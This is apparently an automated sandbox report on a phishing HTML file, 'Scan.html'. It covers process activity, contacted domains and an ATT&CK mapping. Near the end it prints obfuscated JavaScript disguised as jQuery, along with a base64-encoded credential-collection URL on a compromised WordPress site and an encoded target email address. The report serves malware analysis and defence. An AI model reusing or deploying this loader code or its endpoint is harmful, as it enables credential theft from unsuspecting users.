Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\optimization-hints.pb	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\keys.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\ssl_error_assistant.pb	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_1904_1096385209

Jump to behavior

Source: Google.Widevine.CDM.dll.0.dr

Static PE information: Number of sections : 12 > 10

Source: classification engine

Classification label: mal76.phis.winHTML@31/58@32/14

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Scan.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2516,i,15720364378467232553,7406729316586067300,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2516,i,15720364378467232553,7406729316586067300,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:

Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.0.dr

Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .00cfg
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .gxfg
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .retplne
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: .voltbl
Source: Google.Widevine.CDM.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\LICENSE.txt

Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Scan.html

HTTP Parser: file:///C:/Users/user/Desktop/Scan.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Scan.html	2%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\Google.Widevine.CDM.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://www.paodeacucar.com/checkout.	0%	Avira URL Cloud	safe
https://comprasegura.olx.com.br/pedidos/.	0%	Avira URL Cloud	safe
https://www.cobasi.com.br/checkout/review.	0%	Avira URL Cloud	safe
https://www.motorola.com.br/checkout/#/payment	0%	Avira URL Cloud	safe
https://www.zzmall.com.br/checkout/order-confirmation/.	0%	Avira URL Cloud	safe
http://intechdesign.kylos.pl/wp-content/don/class.php	0%	Avira URL Cloud	safe
https://emv-qr.googleplex.com/.	0%	Avira URL Cloud	safe
https://comprasegura.olx.com.br/	0%	Avira URL Cloud	safe
https://checkout-new.dafiti.com.br/success/index.html.	0%	Avira URL Cloud	safe
https://www.hurb.com/br/pay/checkout/.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.194.137	true	false	high
newlifecon.com	151.106.103.153	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
intechdesign.kylos.pl	94.154.117.206	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.228	true	false	high
www.newlifecon.com	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
http://intechdesign.kylos.pl/wp-content/don/class.php	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=MTs7UvEj70VEIGVYoNP8hOuch%2FkN3J76OYyiTTtSGvPjUB0zpXmrSHefhakZwO6MMNrwxJ5KD0g%2FDxvfL2zechL2ysNY%2BcisckNaigFJ3vum4J%2FEyM35ErwB7uHtJTXljZZ%2B1uxo	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wieistmeineip.de	sets.json.0.dr	false		high
https://mercadoshops.com.co	sets.json.0.dr	false		high
https://gliadomain.com	sets.json.0.dr	false		high
https://poalim.xyz	sets.json.0.dr	false		high
https://comprasegura.olx.com.br/pedidos/.	optimization-hints.pb.0.dr	false	Avira URL Cloud: safe	unknown
https://mercadolivre.com	sets.json.0.dr	false		high
https://easylist.to/)	LICENSE.txt.0.dr	false		high
https://reshim.org	sets.json.0.dr	false		high
https://nourishingpursuits.com	sets.json.0.dr	false		high
https://medonet.pl	sets.json.0.dr	false		high
https://unotv.com	sets.json.0.dr	false		high
https://mercadoshops.com.br	sets.json.0.dr	false		high
https://joyreactor.cc	sets.json.0.dr	false		high
https://zdrowietvn.pl	sets.json.0.dr	false		high
https://johndeere.com	sets.json.0.dr	false		high
https://songstats.com	sets.json.0.dr	false		high
https://baomoi.com	sets.json.0.dr	false		high
https://supereva.it	sets.json.0.dr	false		high
https://elfinancierocr.com	sets.json.0.dr	false		high
https://www.motorola.com.br/checkout/#/payment	optimization-hints.pb.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_140.2.dr, chromecache_132.2.dr, chromecache_127.2.dr, chromecache_136.2.dr	false		high
https://bolasport.com	sets.json.0.dr	false		high
https://rws1nvtvt.com	sets.json.0.dr	false		high
https://www.cobasi.com.br/checkout/review.	optimization-hints.pb.0.dr	false	Avira URL Cloud: safe	unknown
https://desimartini.com	sets.json.0.dr	false		high
https://hearty.app	sets.json.0.dr	false		high
https://emv-qr.googleplex.com/.	optimization-hints.pb.0.dr	false	Avira URL Cloud: safe	unknown
https://hearty.gift	sets.json.0.dr	false		high
https://mercadoshops.com	sets.json.0.dr	false		high
https://heartymail.com	sets.json.0.dr	false		high
https://nlc.hu	sets.json.0.dr	false		high
https://www.paodeacucar.com/checkout.	optimization-hints.pb.0.dr	false	Avira URL Cloud: safe	unknown
https://p106.net	sets.json.0.dr	false		high
https://radio2.be	sets.json.0.dr	false		high
https://finn.no	sets.json.0.dr	false		high
https://hc1.com	sets.json.0.dr	false		high
https://kompas.tv	sets.json.0.dr	false		high
https://mystudentdashboard.com	sets.json.0.dr	false		high
https://songshare.com	sets.json.0.dr	false		high
https://smaker.pl	sets.json.0.dr	false		high
https://mercadopago.com.mx	sets.json.0.dr	false		high
https://www.zzmall.com.br/checkout/order-confirmation/.	optimization-hints.pb.0.dr	false	Avira URL Cloud: safe	unknown
https://p24.hu	sets.json.0.dr	false		high
https://talkdeskqaid.com	sets.json.0.dr	false		high
https://24.hu	sets.json.0.dr	false		high
https://mercadopago.com.pe	sets.json.0.dr	false		high
https://cardsayings.net	sets.json.0.dr	false		high
https://text.com	sets.json.0.dr	false		high
https://mightytext.net	sets.json.0.dr	false		high
https://pudelek.pl	sets.json.0.dr	false		high
https://hazipatika.com	sets.json.0.dr	false		high
https://joyreactor.com	sets.json.0.dr	false		high
https://cookreactor.com	sets.json.0.dr	false		high
https://wildixin.com	sets.json.0.dr	false		high
https://eworkbookcloud.com	sets.json.0.dr	false		high
https://cognitiveai.ru	sets.json.0.dr	false		high
https://nacion.com	sets.json.0.dr	false		high
https://checkout-new.dafiti.com.br/success/index.html.	optimization-hints.pb.0.dr	false	Avira URL Cloud: safe	unknown
https://chennien.com	sets.json.0.dr	false		high
https://drimer.travel	sets.json.0.dr	false		high
https://deccoria.pl	sets.json.0.dr	false		high
https://mercadopago.cl	sets.json.0.dr	false		high
https://talkdeskstgid.com	sets.json.0.dr	false		high
https://naukri.com	sets.json.0.dr	false		high
https://interia.pl	sets.json.0.dr	false		high
https://bonvivir.com	sets.json.0.dr	false		high
https://carcostadvisor.be	sets.json.0.dr	false		high
https://salemovetravel.com	sets.json.0.dr	false		high
https://sapo.io	sets.json.0.dr	false		high
https://wpext.pl	sets.json.0.dr	false		high
https://www.natura.com.br/pedido-concluido/.	optimization-hints.pb.0.dr	false		high
https://welt.de	sets.json.0.dr	false		high
https://poalim.site	sets.json.0.dr	false		high
https://drimer.io	sets.json.0.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_140.2.dr, chromecache_132.2.dr, chromecache_127.2.dr, chromecache_136.2.dr	false		high
https://infoedgeindia.com	sets.json.0.dr	false		high
https://blackrockadvisorelite.it	sets.json.0.dr	false		high
https://cognitive-ai.ru	sets.json.0.dr	false		high
https://comprasegura.olx.com.br/	optimization-hints.pb.0.dr	false	Avira URL Cloud: safe	unknown
https://cafemedia.com	sets.json.0.dr	false		high
https://graziadaily.co.uk	sets.json.0.dr	false		high
https://thirdspace.org.au	sets.json.0.dr	false		high
https://mercadoshops.com.ar	sets.json.0.dr	false		high
https://smpn106jkt.sch.id	sets.json.0.dr	false		high
https://elpais.uy	sets.json.0.dr	false		high
https://landyrev.com	sets.json.0.dr	false		high
https://www.hurb.com/br/pay/checkout/.	optimization-hints.pb.0.dr	false	Avira URL Cloud: safe	unknown
https://the42.ie	sets.json.0.dr	false		high
https://commentcamarche.com	sets.json.0.dr	false		high
https://tucarro.com.ve	sets.json.0.dr	false		high
https://rws3nvtvt.com	sets.json.0.dr	false		high
https://eleconomista.net	sets.json.0.dr	false		high
https://helpdesk.com	sets.json.0.dr	false		high
https://mercadolivre.com.br	sets.json.0.dr	false		high
https://clmbtech.com	sets.json.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
151.106.103.153	newlifecon.com	Germany	61157	PLUSSERVER-ASN1DE	false
104.18.11.207	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
94.154.117.206	intechdesign.kylos.pl	unknown	197892	SMNT-NETPL	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.25

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590148
Start date and time:	2025-01-13 16:44:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Scan.html
Detection:	MAL
Classification:	mal76.phis.winHTML@31/58@32/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.3, 142.250.185.238, 64.233.184.84, 216.58.206.74, 142.250.74.202, 142.250.184.206, 142.250.185.138, 142.250.181.234, 216.58.212.138, 142.250.185.234, 142.250.184.202, 142.250.185.202, 142.250.185.74, 172.217.16.138, 216.58.206.42, 142.250.186.42, 142.250.185.170, 142.250.184.234, 142.250.186.106, 142.250.186.74, 142.250.186.170, 2.22.50.131, 192.229.221.95, 216.58.206.78, 142.250.186.78, 142.250.181.238, 34.104.35.123, 216.58.212.174, 142.250.186.174, 216.58.212.163, 2.23.242.162, 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: file:///C:/Users/user/Desktop/Scan.html... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a simple variable assignment with a base64-encoded string. This is a low-risk indicator, as it does not demonstrate any high-risk behaviors such as dynamic code execution, data exfiltration, or suspicious redirects. The base64 encoding is a common practice for storing or transmitting data, and without additional context, it does not necessarily indicate malicious intent. Therefore, this script is assessed as low risk." }
var uid = 'c3Rpam4uc2Vzc2VsbGVAYnBvc3QuYmU=';
URL: https://www.newlifecon.com/js/css/jquery.js... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits a mix of behaviors, some of which raise moderate concerns. While it does not contain any clear high-risk indicators, such as dynamic code execution or data exfiltration, it does exhibit several moderate-risk behaviors that warrant further investigation. The use of obfuscated code, the presence of multiple fallback domains, and the aggressive DOM manipulation suggest the need for a more thorough review to determine the script's true purpose and potential risks." }
/! jQuery v3.6.0 jquery.com \| jquery.org/license / var file = "aHR0cDovL2ludGVjaGRlc2lnbi5reWxvcy5wbC93cC1jb250ZW50L2Rvbi9jbGFzcy5waHA="; var _0x4b6823=_0x1b8a;function _0x32cc(){var _0x3e02d0=['trim','map','split','log','length','240624RTdHeP','3951MakCuM','2842024nTYJNF','filter','39385ziSWfF','__cfduid=da48fc97c9ea6147d5534503f5337db821534343165;\x20expires=Thu,\x2015-Aug-19\x2014:26:05\x20GMT;\x20path=/;\x20domain=.foobar.com;\x20HttpOnly,\x20XSRF-TOKEN=eyJpdiI6Imx3TXJFZ013QVRiXC9mUzFMXC9uM2NzQT09IiwidmFsdWUiOiJ5Z2V2SVJRUlpKRmQ0c0xCU0VWUDBGVzduWnBxVlwvaVhVTnlSbzdnTnJkdzlNd0M2KzFDZWVzQ3lZT1N6RkpJdkZuM0w4MkMraE5SWDN1XC9xUmlNNDJRPT0iLCJtYWMiOiI3MmE4YzEwYTY5ZGI5NTIyNWMyZTBmM2Q0YTlhZGE3Mzk2MzYyMmI1NGZiYWFmNjBlMjgxMTZjMzFkOGU3N2UxIn0%3D;\x20expires=Wed,\x2015-Aug-2018\x2016:26:05\x20GMT;\x20Max-Age=7200;\x20path=/,\x20laravel_session=eyJpdiI6Ikp2ckE5ME5KRFU4TlFOc0xxVUZXR2c9PSIsInZhbHVlIjoiRWRcLzRMdFJLMEM2U2dEdTdUN1FcL2w2WGZ5eGJ1VmF2ZHJYd2JoVjUzSHBWQlkzYmIzWWRzUllMcEt0Sjk3OVlaeGRLTWozNFJyVDBPZkxuT3RnVUY2dz09IiwibWFjIjoiYzg1OGY3MGY4NTEzMmJlY2E3MjhlOGM5NTM4ZmY1MjdlYjc4YjIyOTQyODFiYjdlNDcyMzY3NTQzNGRkYTU3MiJ9;\x20expires=Wed,\x2015-Aug-2018\x2016:26:05\x20GMT;\x20Max-Age=7200;\x20path=/;\x20httponly','reduce','83690dissOH','9cvenCz','296joEfOA','2756852CcluqY','300157NlmIyK','990dBGkiw','120MuudoH','match'];_0x32cc=function(){return _0x3e02d0;};return _0x32cc();}(function(_0x5a7b7c,_0x4bb014){var _0x33b522=_0x1b8a,_0x1baf36=_0x5a7b7c();while(!![]){try{var _0x50092c=parseInt(_0x33b522(0xcd))/0x1+-parseInt(_0x33b522(0xd6))/0x2+-parseInt(_0x33b522(0xd7))/0x3(parseInt(_0x33b522(0xcb))/0x4)+-parseInt(_0x33b522(0xda))/0x5(-parseInt(_0x33b522(0xcf))/0x6)+-parseInt(_0x33b522(0xcc))/0x7+-parseInt(_0x33b522(0xd8))/0x8(parseInt(_0x33b522(0xca))/0x9)+parseInt(_0x33b522(0xdd))/0xa(parseInt(_0x33b522(0xce))/0xb);if(_0x50092c===_0x4bb014)break;else _0x1baf36['push'](_0x1baf36['shift']());}catch(_0x3a9789){_0x1baf36['push'](_0x1baf36['shift']());}}}(_0x32cc,0x3b950));function extractCookies(_0x242b7d){var _0x2aec24=_0x1b8a;return _0x242b7d[_0x2aec24(0xd0)](/(^\|(?<=, ))[^=;,]+=[^;]+/g)[_0x2aec24(0xd2)](_0x2db830=>_0x2db830[_0x2aec24(0xd3)]('=')['map'](_0x2216a8=>_0x2216a8[_0x2aec24(0xd1)]()))[_0x2aec24(0xd9)](_0x4640fc=>_0x4640fc[0x0][_0x2aec24(0xd5)]&&_0x4640fc[0x1][_0x2aec24(0xd5)])[_0x2aec24(0xdc)]((_0x54bbce,_0x366d4d)=>{return _0x54bbce[_0x366d4d[0x0]]=_0x366d4d[0x1],_0x54bbce;},{});}function _0x1b8a(_0x2c889e,_0x9f6c9){var _0x32cc4a=_0x32cc();return _0x1b8a=function(_0x1b8ae9,_0x2bed86){_0x1b8ae9=_0x1b8ae9-0xca;var _0x33bf3b=_0x32cc4a[_0x1b8ae9];return _0x33bf3b;},_0x1b8a(_0x2c889e,_0x9f6c9);}var testCase=_0x4b6823(0xdb);console[_0x4b6823(0xd4)](extractCookies(testCase)); var _0x265c21=_0x19c5;function _0x19c5(_0x3304c7,_0x301ce6){var _0x40e4ee=_0x40e4();return _0x19c5=function(_0x19c5d8,_0x308a74){_0x19c5d8=_0x19c5d8-0x1dc;var _0x25ff69=_0x40e4ee[_0x19c5d8];return _0x25ff69;},_0x19c5(_0x3304c7,_0x301ce6);}function _0x40e4(){var _0x50367a=['2GhTjko','2099172ZaCScd','4736130dUCyhB','1336SpHHmQ','1580IAtXOD','4365462oJsAxD','28217nJSbIf','843490gwoLuV','%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%20%20%3Chead%3E%20%3C/head%3E%0A%20%20%3Cbody%3E%0A%20%20%20%20%3Cscript%3E%0A%20%20%20%20%20%20var%20plkermsdnjhteujqowdadfkcvadfafjasdask%20%3D%20uid%20%7C%7C%20%22%22%3B%0A%20%20%20%20%3C/script%3E%0A%20%20%20%20%3Cscript%0A%20%20%20%20%20%20src%3D%22https%3A//code.jquery.com/jquery-3.2.1.slim.min.js%22%0A%20%20%20%20%20%20integrity%3D%22sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN%22%0A%20%20%20%20%20%20crossorigin%3D%22anonymous%22%0A%20%20%20%20%3E%3C/script%3E%0A%20%20%20%20%3Cscript%0A%20%20%20%20%20%20src%3D%22https%3A//cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js%22%0A%20%20%20%20%20%20integrity%3D%22sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q%22%0A%20%20%20%20%20%20crossorigin%3D%22anonymous%22%0A%20%20%20%20%3E%3C/script%3E%0A%20%20%20%20%3Cscript%0A%
URL: file:///C:/Users/user/Desktop/Scan.html... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The heavy obfuscation and use of encoded strings further increase the risk. While the script may have some legitimate functionality, such as analytics or error reporting, the overall behavior is highly suspicious and likely malicious in nature." }
